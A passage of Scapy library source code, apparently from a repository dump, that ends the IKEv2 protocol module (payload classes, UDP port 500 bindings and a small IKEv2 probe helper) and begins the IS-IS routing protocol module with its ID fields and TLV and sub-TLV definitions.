ByteEnumField(\"TS_type\", 7, IKEv2TrafficSelectorTypes),\n        ByteEnumField(\"IP_protocol_ID\", None, IPProtocolIDs),\n        ShortField(\"length\", 16),\n        ShortField(\"start_port\", 0),\n        ShortField(\"end_port\", 65535),\n        IPField(\"starting_address_v4\", \"192.168.0.1\"),\n        IPField(\"ending_address_v4\", \"192.168.0.255\"),\n    ]\n\n\nclass IPv6TrafficSelector(TrafficSelector):\n    name = \"IKEv2 IPv6 Traffic Selector\"\n    fields_desc = [\n        ByteEnumField(\"TS_type\", 8, IKEv2TrafficSelectorTypes),\n        ByteEnumField(\"IP_protocol_ID\", None, IPProtocolIDs),\n        ShortField(\"length\", 20),\n        ShortField(\"start_port\", 0),\n        ShortField(\"end_port\", 65535),\n        IP6Field(\"starting_address_v6\", \"2001::\"),\n        IP6Field(\"ending_address_v6\", \"2001::\"),\n    ]\n\n\nclass EncryptedTrafficSelector(TrafficSelector):\n    name = \"IKEv2 Encrypted Traffic Selector\"\n    fields_desc = [\n        ByteEnumField(\"TS_type\", 9, IKEv2TrafficSelectorTypes),\n        ByteEnumField(\"IP_protocol_ID\", None, IPProtocolIDs),\n        ShortField(\"length\", 16),\n        ByteField(\"res\", 0),\n        X3BytesField(\"starting_address_FC\", 0),\n        ByteField(\"res2\", 0),\n        X3BytesField(\"ending_address_FC\", 0),\n        ByteField(\"starting_R_CTL\", 0),\n        ByteField(\"ending_R_CTL\", 0),\n        ByteField(\"starting_type\", 0),\n        ByteField(\"ending_type\", 0),\n    ]\n\n\nclass RawTrafficSelector(TrafficSelector):\n    name = \"IKEv2 Encrypted Traffic Selector\"\n    fields_desc = [\n        ByteEnumField(\"TS_type\", None, IKEv2TrafficSelectorTypes),\n        ByteEnumField(\"IP_protocol_ID\", None, IPProtocolIDs),\n        FieldLenField(\"length\", None, \"load\", \"H\", adjust=lambda pkt, x: x + 4),\n        PacketField(\"load\", \"\", Raw)\n    ]\n\n\nclass IKEv2_TSi(IKEv2_Payload):\n    name = \"IKEv2 Traffic Selector - Initiator\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        FieldLenField(\"number_of_TSs\", None, fmt=\"B\",\n                      count_of=\"traffic_selector\"),\n        X3BytesField(\"res2\", 0),\n        PacketListField(\"traffic_selector\", None, TrafficSelector,\n                        length_from=lambda pkt: pkt.length - 8,\n                        count_from=lambda pkt: pkt.number_of_TSs),\n    ]\n\n\nclass IKEv2_TSr(IKEv2_Payload):\n    name = \"IKEv2 Traffic Selector - Responder\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        FieldLenField(\"number_of_TSs\", None, fmt=\"B\",\n                      count_of=\"traffic_selector\"),\n        X3BytesField(\"res2\", 0),\n        PacketListField(\"traffic_selector\", None, TrafficSelector,\n                        length_from=lambda pkt: pkt.length - 8,\n                        count_from=lambda pkt: pkt.number_of_TSs),\n    ]\n\n\nclass IKEv2_Delete(IKEv2_Payload):\n    name = \"IKEv2 Delete\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        ByteEnumField(\"proto\", None, {0: \"Reserved\", 1: \"IKE\", 2: \"AH\", 3: \"ESP\"}),  # noqa: E501\n        FieldLenField(\"SPIsize\", None, \"SPI\", \"B\"),\n        ShortField(\"SPInum\", 0),\n        FieldListField(\"SPI\", [],\n                       XStrLenField(\"\", \"\", length_from=lambda pkt: pkt.SPIsize),\n                       count_from=lambda pkt: pkt.SPInum)\n    ]\n\n\nclass IKEv2_SA(IKEv2_Payload):\n    name = \"IKEv2 SA\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        PacketLenField(\"prop\", conf.raw_layer(), IKEv2_Proposal, length_from=lambda pkt: pkt.length - 4),  # noqa: E501\n    ]\n\n\nclass IKEv2_Nonce(IKEv2_Payload):\n    name = \"IKEv2 Nonce\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        XStrLenField(\"nonce\", \"\", length_from=lambda pkt: pkt.length - 4),\n    ]\n\n\nclass IKEv2_Notify(IKEv2_Payload):\n    name = \"IKEv2 Notify\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        ByteEnumField(\"proto\", None, IKEv2ProtocolTypes),\n        FieldLenField(\"SPIsize\", None, \"SPI\", \"B\"),\n        ShortEnumField(\"type\", 0, IKEv2NotifyMessageTypes),\n        XStrLenField(\"SPI\", \"\", length_from=lambda pkt: pkt.SPIsize),\n        ConditionalField(\n            XStrLenField(\"notify\", \"\",\n                         length_from=lambda pkt: pkt.length - 8 - pkt.SPIsize),\n            lambda pkt: pkt.type not in (16407, 16408)\n        ),\n        ConditionalField(\n            # REDIRECT, REDIRECTED_FROM  (RFC 5685)\n            ByteEnumField(\"gw_id_type\", 1, IKEv2GatewayIDTypes),\n            lambda pkt: pkt.type in (16407, 16408)\n        ),\n        ConditionalField(\n            # REDIRECT, REDIRECTED_FROM  (RFC 5685)\n            FieldLenField(\"gw_id_len\", None, \"gw_id\", \"B\"),\n            lambda pkt: pkt.type in (16407, 16408)\n        ),\n        ConditionalField(\n            # REDIRECT, REDIRECTED_FROM  (RFC 5685)\n            MultipleTypeField(\n                [\n                    (IPField(\"gw_id\", \"127.0.0.1\"), lambda x: x.gw_id_type == 1),\n                    (IP6Field(\"gw_id\", \"::1\"), lambda x: x.gw_id_type == 2),\n                ],\n                StrLenField(\"gw_id\", \"\", length_from=lambda x: x.gw_id_len)\n            ),\n            lambda pkt: pkt.type in (16407, 16408)\n        ),\n        ConditionalField(\n            # REDIRECT  (RFC 5685)\n            XStrLenField(\"nonce\", \"\", length_from=lambda x:x.length - 10 - x.gw_id_len),\n            lambda pkt: pkt.type == 16407\n        )\n    ]\n\n\nclass IKEv2_KE(IKEv2_Payload):\n    name = \"IKEv2 Key Exchange\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        ShortEnumField(\"group\", 0, IKEv2TransformAlgorithms[4]),\n        ShortField(\"res2\", 0),\n        XStrLenField(\"ke\", \"\", length_from=lambda pkt: pkt.length - 8),\n    ]\n\n\nclass IKEv2_IDi(IKEv2_Payload):  # RFC 7296, section 3.5\n    name = \"IKEv2 Identification - Initiator\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        ByteEnumField(\"IDtype\", 1, {1: \"IPv4_addr\", 2: \"FQDN\", 3: \"Email_addr\", 5: \"IPv6_addr\", 11: \"Key\"}),  # noqa: E501\n        X3BytesField(\"res2\", 0),\n        MultipleTypeField(\n            [\n                (IPField(\"ID\", \"127.0.0.1\"), lambda pkt: pkt.IDtype == 1),\n                (IP6Field(\"ID\", \"::1\"), lambda pkt: pkt.IDtype == 5),\n            ],\n            XStrLenField(\"ID\", \"\", length_from=lambda pkt: pkt.length - 8),\n        )\n    ]\n\n\nclass IKEv2_IDr(IKEv2_Payload):  # RFC 7296, section 3.5\n    name = \"IKEv2 Identification - Responder\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        ByteEnumField(\"IDtype\", 1, {1: \"IPv4_addr\", 2: \"FQDN\", 3: \"Email_addr\", 5: \"IPv6_addr\", 11: \"Key\"}),  # noqa: E501\n        X3BytesField(\"res2\", 0),\n        MultipleTypeField(\n            [\n                (IPField(\"ID\", \"127.0.0.1\"), lambda pkt: pkt.IDtype == 1),\n                (IP6Field(\"ID\", \"::1\"), lambda pkt: pkt.IDtype == 5),\n            ],\n            XStrLenField(\"ID\", \"\", length_from=lambda pkt: pkt.length - 8),\n        )\n    ]\n\n\nclass IKEv2_Encrypted(IKEv2_Payload):\n    name = \"IKEv2 Encrypted and Authenticated\"\n\n\nclass ConfigurationAttribute(Packet):\n    name = \"IKEv2 Configuration Attribute\"\n    fields_desc = [\n        ShortEnumField(\"type\", 1, IKEv2ConfigurationAttributeTypes),\n        FieldLenField(\"length\", None, \"value\", \"H\"),\n        MultipleTypeField(\n            [\n                (IPField(\"value\", \"127.0.0.1\"),\n                 lambda pkt: pkt.length == 4 and pkt.type in (1, 2, 3, 4, 6, 20)),\n                (IP6Field(\"value\", \"::1\"),\n                 lambda pkt: pkt.length == 16 and pkt.type in (10, 12, 21)),\n            ],\n            XStrLenField(\"value\", \"\", length_from=lambda pkt: pkt.length),\n        )\n    ]\n\n    def extract_padding(self, s):\n        return b'', s\n\n\nclass IKEv2_CP(IKEv2_Payload):  # RFC 7296, section 3.15\n    name = \"IKEv2 Configuration\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        ByteEnumField(\"CFGType\", 1, IKEv2ConfigurationPayloadCFGTypes),\n        X3BytesField(\"res2\", 0),\n        PacketListField(\"attributes\", None, ConfigurationAttribute,\n                        length_from=lambda pkt: pkt.length - 8),\n    ]\n\n\nclass IKEv2_Encrypted_Fragment(IKEv2_Payload):\n    name = \"IKEv2 Encrypted and Authenticated Fragment\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        ShortField(\"frag_number\", 1),\n        ShortField(\"frag_total\", 1),\n        XStrLenField(\"load\", \"\", length_from=lambda pkt: pkt.length - 8),\n    ]\n\n\nclass IKEv2_CERTREQ(IKEv2_Payload):\n    name = \"IKEv2 Certificate Request\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        ByteEnumField(\"cert_encoding\", 0, IKEv2CertificateEncodings),\n        XStrLenField(\"cert_authority\", \"\", length_from=lambda pkt: pkt.length - 5),\n    ]\n\n\nclass IKEv2_CERT(IKEv2_Payload):\n    name = \"IKEv2 Certificate\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        ByteEnumField(\"cert_encoding\", 4, IKEv2CertificateEncodings),\n        MultipleTypeField(\n            [\n                (PacketLenField(\"cert_data\", X509_Cert(), X509_Cert,\n                                length_from=lambda pkt: pkt.length - 5),\n                 lambda pkt: pkt.cert_encoding == 4),\n                (PacketLenField(\"cert_data\", X509_CRL(), X509_CRL,\n                                length_from=lambda pkt: pkt.length - 5),\n                 lambda pkt: pkt.cert_encoding == 7)\n            ],\n            XStrLenField(\"cert_data\", \"\", length_from=lambda pkt: pkt.length - 5),\n        )\n    ]\n\n\n# TODO: the following payloads are not fully dissected yet\n\nclass IKEv2_EAP(IKEv2_Payload):\n    name = \"IKEv2 Extensible Authentication\"\n\n\nclass IKEv2_GSPM(IKEv2_Payload):\n    name = \"Generic Secure Password Method\"\n\n\nclass IKEv2_IDg(IKEv2_Payload):\n    name = \"Group Identification\"\n\n\nclass IKEv2_GSA(IKEv2_Payload):\n    name = \"Group Security Association\"\n\n\nclass IKEv2_KD(IKEv2_Payload):\n    name = \"Key Download\"\n\n\nclass IKEv2_PS(IKEv2_Payload):\n    name = \"Puzzle Solution\"\n\n\n# bind all IKEv2 payload classes together\nbind_layers(_IKEv2_Packet, IKEv2_Proposal, next_payload=2)\nbind_layers(_IKEv2_Packet, IKEv2_Transform, next_payload=3)\nbind_layers(_IKEv2_Packet, IKEv2_SA, next_payload=33)\nbind_layers(_IKEv2_Packet, IKEv2_KE, next_payload=34)\nbind_layers(_IKEv2_Packet, IKEv2_IDi, next_payload=35)\nbind_layers(_IKEv2_Packet, IKEv2_IDr, next_payload=36)\nbind_layers(_IKEv2_Packet, IKEv2_CERT, next_payload=37)\nbind_layers(_IKEv2_Packet, IKEv2_CERTREQ, next_payload=38)\nbind_layers(_IKEv2_Packet, IKEv2_AUTH, next_payload=39)\nbind_layers(_IKEv2_Packet, IKEv2_Nonce, next_payload=40)\nbind_layers(_IKEv2_Packet, IKEv2_Notify, next_payload=41)\nbind_layers(_IKEv2_Packet, IKEv2_Delete, next_payload=42)\nbind_layers(_IKEv2_Packet, IKEv2_VendorID, next_payload=43)\nbind_layers(_IKEv2_Packet, IKEv2_TSi, next_payload=44)\nbind_layers(_IKEv2_Packet, IKEv2_TSr, next_payload=45)\nbind_layers(_IKEv2_Packet, IKEv2_Encrypted, next_payload=46)\nbind_layers(_IKEv2_Packet, IKEv2_CP, next_payload=47)\nbind_layers(_IKEv2_Packet, IKEv2_EAP, next_payload=48)\nbind_layers(_IKEv2_Packet, IKEv2_GSPM, next_payload=49)\nbind_layers(_IKEv2_Packet, IKEv2_IDg, next_payload=50)\nbind_layers(_IKEv2_Packet, IKEv2_GSA, next_payload=51)\nbind_layers(_IKEv2_Packet, IKEv2_KD, next_payload=52)\nbind_layers(_IKEv2_Packet, IKEv2_Encrypted_Fragment, next_payload=53)\nbind_layers(_IKEv2_Packet, IKEv2_PS, next_payload=54)\n\n# the upper bindings for port 500 to ISAKMP are handled by IKEv2.dispatch_hook\nsplit_bottom_up(UDP, ISAKMP, dport=500)\nsplit_bottom_up(UDP, ISAKMP, sport=500)\n\nbind_bottom_up(UDP, IKEv2, dport=500)\nbind_bottom_up(UDP, IKEv2, sport=500)\nbind_top_down(UDP, IKEv2, dport=500, sport=500)\n\nsplit_bottom_up(NON_ESP, ISAKMP)\nbind_bottom_up(NON_ESP, IKEv2)\n\n\ndef ikev2scan(ip, **kwargs):\n    \"\"\"Send a IKEv2 SA to an IP and wait for answers.\"\"\"\n    return sr(IP(dst=ip) / UDP() / IKEv2(init_SPI=RandString(8),\n                                         exch_type=34) / IKEv2_SA(prop=IKEv2_Proposal()), **kwargs)  # noqa: E501\n"
  },
  {
    "path": "scapy/contrib/isis.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2014-2016 BENOCS GmbH, Berlin (Germany)\n# Copyright (C) 2020 Metaswitch, London (UK)\n\n# scapy.contrib.description = Intermediate System to Intermediate System (ISIS)\n# scapy.contrib.status = loads\n\n\"\"\"\n    IS-IS Scapy Extension\n    ~~~~~~~~~~~~~~~~~~~~~\n\n    :authors:    Marcel Patzlaff, mpatzlaff@benocs.com\n                 Michal Kaliszan, mkaliszan@benocs.com\n                 Tom Zhu, tom.zhu@metaswitch.com\n\n    :description:\n\n        This module provides Scapy layers for the Intermediate System\n        to Intermediate System routing protocol as defined in RFC 1195.\n\n        Currently it (partially) supports the packaging/encoding\n        requirements of the following RFCs:\n        * RFC 1195 (only the TCP/IP related part)\n        * RFC 3358 (optional checksums)\n        * RFC 5301 (dynamic hostname extension)\n        * RFC 5302 (domain-wide prefix distribution)\n        * RFC 5303 (three-way handshake)\n        * RFC 5304 (cryptographic authentication)\n        * RFC 5308 (routing IPv6 with IS-IS)\n        * RFC 8667 (IS-IS extensions for segment routing)\n\n    :TODO:\n\n        - packet relations (requests, responses)\n        - support for recent RFCs:\n          * RFC 5305 (traffic engineering)\n          * RFC 5307 (support for G-MPLS)\n          * RFC 5310 (generic cryptographic authentication)\n          * RFC 5316 (inter-AS MPLS and G-MPLS TE)\n\n\"\"\"\n\nimport struct\nimport random\n\nfrom scapy.config import conf\nfrom scapy.fields import BitField, BitFieldLenField, BoundStrLenField, \\\n    ByteEnumField, ByteField, ConditionalField, Field, FieldLenField, \\\n    FieldListField, FlagsField, IEEEFloatField, IP6PrefixField, IPField, \\\n    IPPrefixField, IntField, LongField, MACField, PacketField, \\\n    PacketListField, ShortField, ThreeBytesField, XIntField, XShortField\nfrom scapy.packet import bind_layers, Packet\nfrom scapy.layers.clns import network_layer_protocol_ids, register_cln_protocol\nfrom scapy.layers.inet6 import IP6ListField, IP6Field\nfrom scapy.utils import fletcher16_checkbytes\nfrom scapy.volatile import RandString, RandByte\nfrom scapy.compat import orb, hex_bytes\n\nEXT_VERSION = \"v0.0.3\"\n\n\n#######################################################################\n#   ISIS Utilities + Fields                                           #\n#######################################################################\ndef isis_area2str(area):\n    return b\"\".join(hex_bytes(x) for x in area.split(\".\"))\n\n\ndef isis_str2area(s):\n    if len(s) == 0:\n        return \"\"\n\n    numbytes = len(s[1:])\n    fmt = \"%02X\" + (\".%02X%02X\" * (numbytes // 2)) + (\"\" if (numbytes % 2) == 0 else \".%02X\")  # noqa: E501\n    return fmt % tuple(orb(x) for x in s)\n\n\ndef isis_sysid2str(sysid):\n    return b\"\".join(hex_bytes(x) for x in sysid.split(\".\"))\n\n\ndef isis_str2sysid(s):\n    return (\"%02X%02X.\" * 3)[:-1] % tuple(orb(x) for x in s)\n\n\ndef isis_nodeid2str(nodeid):\n    return isis_sysid2str(nodeid[:-3]) + hex_bytes(nodeid[-2:])\n\n\ndef isis_str2nodeid(s):\n    return \"%s.%02X\" % (isis_str2sysid(s[:-1]), orb(s[-1]))\n\n\ndef isis_lspid2str(lspid):\n    return isis_nodeid2str(lspid[:-3]) + hex_bytes(lspid[-2:])\n\n\ndef isis_str2lspid(s):\n    return \"%s-%02X\" % (isis_str2nodeid(s[:-1]), orb(s[-1]))\n\n\nclass _ISIS_IdFieldBase(Field):\n    __slots__ = [\"to_str\", \"to_id\", \"length\"]\n\n    def __init__(self, name, default, length, to_str, to_id):\n        self.to_str = to_str\n        self.to_id = to_id\n        self.length = length\n        Field.__init__(self, name, default, \"%is\" % length)\n\n    def i2m(self, pkt, x):\n        if x is None:\n            return b\"\\0\" * self.length\n\n        return self.to_str(x)\n\n    def m2i(self, pkt, x):\n        return self.to_id(x)\n\n    def any2i(self, pkt, x):\n        if isinstance(x, str) and len(x) == self.length:\n            return self.m2i(pkt, x)\n\n        return x\n\n\nclass _ISIS_RandId(RandString):\n    def __init__(self, template):\n        RandString.__init__(self)\n        self.bytecount = template.count(\"*\")\n        self.format = template.replace(\"*\", \"%02X\")\n\n    def _fix(self):\n        if self.bytecount == 0:\n            return \"\"\n\n        val = ()\n\n        for _ in range(self.bytecount):\n            val += (RandByte(),)\n\n        return self.format % val\n\n\nclass _ISIS_RandAreaId(_ISIS_RandId):\n    def __init__(self, bytecount=None):\n        template = \"*\" + (\n            \".**\" * ((self.bytecount - 1) // 2)\n        ) + (\n            \"\" if ((self.bytecount - 1) % 2) == 0 else \".*\"\n        )\n        super(_ISIS_RandAreaId, self).__init__(template)\n        if bytecount is None:\n            self.bytecount = random.randint(1, 13)\n        else:\n            self.bytecount = bytecount\n\n\nclass ISIS_AreaIdField(Field):\n    __slots__ = [\"length_from\"]\n\n    def __init__(self, name, default, length_from):\n        Field.__init__(self, name, default)\n        self.length_from = length_from\n\n    def i2m(self, pkt, x):\n        return isis_area2str(x)\n\n    def m2i(self, pkt, x):\n        return isis_str2area(x)\n\n    def i2len(self, pkt, x):\n        if x is None:\n            return 0\n        tmp_len = len(x)\n        # l/5 is the number of dots in the Area ID\n        return (tmp_len - (tmp_len // 5)) // 2\n\n    def addfield(self, pkt, s, val):\n        sval = self.i2m(pkt, val)\n        return s + struct.pack(\"!%is\" % len(sval), sval)\n\n    def getfield(self, pkt, s):\n        numbytes = self.length_from(pkt)\n        return s[numbytes:], self.m2i(pkt, struct.unpack(\"!%is\" % numbytes, s[:numbytes])[0])  # noqa: E501\n\n    def randval(self):\n        return _ISIS_RandAreaId()\n\n\nclass ISIS_SystemIdField(_ISIS_IdFieldBase):\n    def __init__(self, name, default):\n        _ISIS_IdFieldBase.__init__(self, name, default, 6, isis_sysid2str, isis_str2sysid)  # noqa: E501\n\n    def randval(self):\n        return _ISIS_RandId(\"**.**.**\")\n\n\nclass ISIS_NodeIdField(_ISIS_IdFieldBase):\n    def __init__(self, name, default):\n        _ISIS_IdFieldBase.__init__(self, name, default, 7, isis_nodeid2str, isis_str2nodeid)  # noqa: E501\n\n    def randval(self):\n        return _ISIS_RandId(\"**.**.**.*\")\n\n\nclass ISIS_LspIdField(_ISIS_IdFieldBase):\n    def __init__(self, name, default):\n        _ISIS_IdFieldBase.__init__(self, name, default, 8, isis_lspid2str, isis_str2lspid)  # noqa: E501\n\n    def randval(self):\n        return _ISIS_RandId(\"**.**.**.*-*\")\n\n\nclass ISIS_CircuitTypeField(FlagsField):\n    def __init__(self, name=\"circuittype\", default=2, size=8,\n                 names=None):\n        if names is None:\n            names = [\"L1\", \"L2\", \"r0\", \"r1\", \"r2\", \"r3\", \"r4\", \"r5\"]\n        FlagsField.__init__(self, name, default, size, names)\n\n\ndef _ISIS_GuessTlvClass_Helper(tlv_classes, defaultname, p, **kargs):\n    cls = conf.raw_layer\n    if len(p) >= 2:\n        tlvtype = orb(p[0])\n        clsname = tlv_classes.get(tlvtype, defaultname)\n        cls = globals()[clsname]\n\n    return cls(p, **kargs)\n\n\nclass _ISIS_GenericTlv_Base(Packet):\n    fields_desc = [ByteField(\"type\", 0),\n                   FieldLenField(\"len\", None, length_of=\"val\", fmt=\"B\"),\n                   BoundStrLenField(\"val\", \"\", length_from=lambda pkt: pkt.len)]  # noqa: E501\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass ISIS_GenericTlv(_ISIS_GenericTlv_Base):\n    name = \"ISIS Generic TLV\"\n\n\nclass ISIS_GenericSubTlv(_ISIS_GenericTlv_Base):\n    name = \"ISIS Generic Sub-TLV\"\n\n\n#######################################################################\n#   ISIS Sub-TLVs for TLVs 22, 23, 141, 222, 223                      #\n#######################################################################\n_isis_subtlv_classes_1 = {\n    3: \"ISIS_AdministrativeGroupSubTlv\",\n    4: \"ISIS_LinkLocalRemoteIdentifiersSubTlv\",\n    6: \"ISIS_IPv4InterfaceAddressSubTlv\",\n    8: \"ISIS_IPv4NeighborAddressSubTlv\",\n    9: \"ISIS_MaximumLinkBandwidthSubTlv\",\n    10: \"ISIS_MaximumReservableLinkBandwidthSubTlv\",\n    11: \"ISIS_UnreservedBandwidthSubTlv\",\n    12: \"ISIS_IPv6InterfaceAddressSubTlv\",\n    13: \"ISIS_IPv6NeighborAddressSubTlv\",\n    18: \"ISIS_TEDefaultMetricSubTlv\"\n}\n\n_isis_subtlv_names_1 = {\n    3: \"Administrative Group (Color)\",\n    4: \"Link Local/Remote Identifiers\",\n    6: \"IPv4 Interface Address\",\n    8: \"IPv4 Neighbor Address\",\n    9: \"Maximum Link Bandwidth\",\n    10: \"Maximum Reservable Link Bandwidth\",\n    11: \"Unreserved Bandwidth\",\n    12: \"IPv6 Interface Address\",\n    13: \"IPv6 Neighbor Address\",\n    18: \"TE Default Metric\"\n}\n\n\ndef _ISIS_GuessSubTlvClass_1(p, **kargs):\n    return _ISIS_GuessTlvClass_Helper(_isis_subtlv_classes_1, \"ISIS_GenericSubTlv\", p, **kargs)  # noqa: E501\n\n\nclass ISIS_IPv4InterfaceAddressSubTlv(ISIS_GenericSubTlv):\n    name = \"ISIS IPv4 Interface Address (S)\"\n    fields_desc = [ByteEnumField(\"type\", 6, _isis_subtlv_names_1),\n                   FieldLenField(\"len\", None, length_of=\"address\", fmt=\"B\"),\n                   IPField(\"address\", \"0.0.0.0\")]\n\n\nclass ISIS_IPv4NeighborAddressSubTlv(ISIS_GenericSubTlv):\n    name = \"ISIS IPv4 Neighbor Address (S)\"\n    fields_desc = [ByteEnumField(\"type\", 8, _isis_subtlv_names_1),\n                   FieldLenField(\"len\", None, length_of=\"address\", fmt=\"B\"),\n                   IPField(\"address\", \"0.0.0.0\")]\n\n\nclass ISIS_LinkLocalRemoteIdentifiersSubTlv(ISIS_GenericSubTlv):\n    name = \"ISIS Link Local/Remote Identifiers (S)\"\n    fields_desc = [ByteEnumField(\"type\", 4, _isis_subtlv_names_1),\n                   FieldLenField(\"len\", 8, fmt=\"B\"),\n                   IntField(\"localid\", \"0\"),\n                   IntField(\"remoteid\", \"0\")]\n\n\nclass ISIS_IPv6InterfaceAddressSubTlv(ISIS_GenericSubTlv):\n    name = \"ISIS IPv6 Interface Address (S)\"\n    fields_desc = [ByteEnumField(\"type\", 12, _isis_subtlv_names_1),\n                   FieldLenField(\"len\", None, length_of=\"address\", fmt=\"B\"),\n                   IP6Field(\"address\", \"::\")]\n\n\nclass ISIS_IPv6NeighborAddressSubTlv(ISIS_GenericSubTlv):\n    name = \"ISIS IPv6 Neighbor Address (S)\"\n    fields_desc = [ByteEnumField(\"type\", 13, _isis_subtlv_names_1),\n                   FieldLenField(\"len\", None, length_of=\"address\", fmt=\"B\"),\n                   IP6Field(\"address\", \"::\")]\n\n\nclass ISIS_AdministrativeGroupSubTlv(ISIS_GenericSubTlv):\n    name = \"Administrative Group SubTLV (Color)\"\n    fields_desc = [ByteEnumField(\"code\", 3, _isis_subtlv_names_1),\n                   FieldLenField(\"len\", None, length_of=\"admingroup\", fmt=\"B\"),\n                   IPField(\"admingroup\", \"0.0.0.1\")]\n\n\nclass ISIS_MaximumLinkBandwidthSubTlv(ISIS_GenericSubTlv):\n    name = \"Maximum Link Bandwidth SubTLV\"\n    fields_desc = [ByteEnumField(\"type\", 9, _isis_subtlv_names_1),\n                   FieldLenField(\"len\", None, length_of=\"maxbw\", fmt=\"B\"),\n                   IEEEFloatField(\"maxbw\", 1000)]  # in B/s\n\n\nclass ISIS_MaximumReservableLinkBandwidthSubTlv(ISIS_GenericSubTlv):\n    name = \"Maximum Reservable Link Bandwidth SubTLV\"\n    fields_desc = [ByteEnumField(\"type\", 10, _isis_subtlv_names_1),\n                   FieldLenField(\"len\", None, length_of=\"maxrsvbw\", fmt=\"B\"),\n                   IEEEFloatField(\"maxrsvbw\", 1000)]  # in B/s\n\n\nclass ISIS_UnreservedBandwidthSubTlv(ISIS_GenericSubTlv):\n    name = \"Unreserved Bandwidth SubTLV\"\n    fields_desc = [ByteEnumField(\"type\", 11, _isis_subtlv_names_1),\n                   FieldLenField(\"len\", None, length_of=\"unrsvbw\", fmt=\"B\"),\n                   FieldListField(\"unrsvbw\", [1000, 1000, 1000, 1000, 1000, 1000, 1000, 1000], IEEEFloatField(\"\", 1000), count_from=lambda pkt: pkt.len / 4)]  # in B/s  # noqa: E501\n\n\nclass ISIS_TEDefaultMetricSubTlv(ISIS_GenericSubTlv):\n    name = \"TE Default Metric SubTLV\"\n    fields_desc = [ByteEnumField(\"type\", 18, _isis_subtlv_names_1),\n                   FieldLenField(\"len\", None, length_of=\"temetric\", adjust=lambda pkt, x:x - 1, fmt=\"B\"),  # noqa: E501\n                   ThreeBytesField(\"temetric\", 1000)]\n\n\n#######################################################################\n#   ISIS Sub-TLVs for TLVs 135, 235, 236, and 237                     #\n#######################################################################\n_isis_subtlv_classes_2 = {\n    1: \"ISIS_32bitAdministrativeTagSubTlv\",\n    2: \"ISIS_64bitAdministrativeTagSubTlv\",\n    3: \"ISIS_PrefixSegmentIdentifierSubTlv\"\n}\n\n_isis_subtlv_names_2 = {\n    1: \"32-bit Administrative Tag\",\n    2: \"64-bit Administrative Tag\",\n    3: \"Prefix Segment Identifier\"\n}\n\n\ndef _ISIS_GuessSubTlvClass_2(p, **kargs):\n    return _ISIS_GuessTlvClass_Helper(_isis_subtlv_classes_2, \"ISIS_GenericSubTlv\", p, **kargs)  # noqa: E501\n\n\nclass ISIS_32bitAdministrativeTagSubTlv(ISIS_GenericSubTlv):\n    name = \"ISIS 32-bit Administrative Tag (S)\"\n    fields_desc = [ByteEnumField(\"type\", 1, _isis_subtlv_names_2),\n                   FieldLenField(\"len\", None, length_of=\"tags\", fmt=\"B\"),\n                   FieldListField(\"tags\", [], IntField(\"\", 0), count_from=lambda pkt: pkt.len // 4)]  # noqa: E501\n\n\nclass ISIS_64bitAdministrativeTagSubTlv(ISIS_GenericSubTlv):\n    name = \"ISIS 64-bit Administrative Tag (S)\"\n    fields_desc = [ByteEnumField(\"type\", 2, _isis_subtlv_names_2),\n                   FieldLenField(\"len\", None, length_of=\"tags\", fmt=\"B\"),\n                   FieldListField(\"tags\", [], LongField(\"\", 0), count_from=lambda pkt: pkt.len // 8)]  # noqa: E501\n\n\nclass ISIS_PrefixSegmentIdentifierSubTlv(ISIS_GenericSubTlv):\n    name = \"ISIS Prefix SID sub TLV\"\n    fields_desc = [ByteEnumField(\"type\", 3, _isis_subtlv_names_2),\n                   ByteField(\"len\", 5),\n                   FlagsField(\n                       \"flags\", 0, 8,\n                       [\"res1\", \"res2\", \"L\", \"V\", \"E\", \"P\", \"N\", \"R\"]),\n                   ByteField(\"algorithm\", 0),\n                   ConditionalField(ThreeBytesField(\"sid\", 0),\n                                    lambda pkt: pkt.len == 5),\n                   ConditionalField(IntField(\"idx\", 0),\n                                    lambda pkt: pkt.len == 6)]\n\n\n#######################################################################\n#   ISIS Sub-TLVs for TLVs 149, 150                                   #\n#######################################################################\n_isis_subtlv_classes_3 = {\n    1: \"ISIS_SIDLabelSubTLV\"\n}\n\n_isis_subtlv_names_3 = {\n    1: \"ISIS SID/Label sub TLV\"\n}\n\n\ndef _ISIS_GuessSubTlvClass_3(p, **kargs):\n    return _ISIS_GuessTlvClass_Helper(\n        _isis_subtlv_classes_3, \"ISIS_GenericSubTlv\", p, **kargs)\n\n\nclass ISIS_SIDLabelSubTLV(ISIS_GenericSubTlv):\n    name = \"ISIS SID Label sub TLV\"\n    fields_desc = [\n        ByteEnumField(\"type\", 1, _isis_subtlv_names_3),\n        ByteField(\"len\", 3),\n        ConditionalField(ThreeBytesField(\"sid\", 0),\n                         lambda pkt: pkt.len == 3),\n        ConditionalField(IntField(\"idx\", 0),\n                         lambda pkt: pkt.len == 4)\n    ]\n\n\n#######################################################################\n#   ISIS Sub-TLVs for TLV 242                                         #\n#######################################################################\n_isis_subtlv_classes_4 = {\n    2: \"ISIS_SRCapabilitiesSubTLV\",\n    19: \"ISIS_SRAlgorithmSubTLV\",\n}\n\n_isis_subtlv_names_4 = {\n    2: \"Segment Routing Capability sub TLV\",\n    19: \"Segment Routing Algorithm\",\n}\n\n\ndef _ISIS_GuessSubTlvClass_4(p, **kargs):\n    return _ISIS_GuessTlvClass_Helper(\n        _isis_subtlv_classes_4, \"ISIS_GenericSubTlv\", p, **kargs)\n\n\nclass ISIS_SRGBDescriptorEntry(Packet):\n    name = \"ISIS SRGB Descriptor\"\n    fields_desc = [\n        ThreeBytesField(\"range\", 0),\n        PacketField(\"sid_label\", None, ISIS_SIDLabelSubTLV)\n    ]\n\n    def 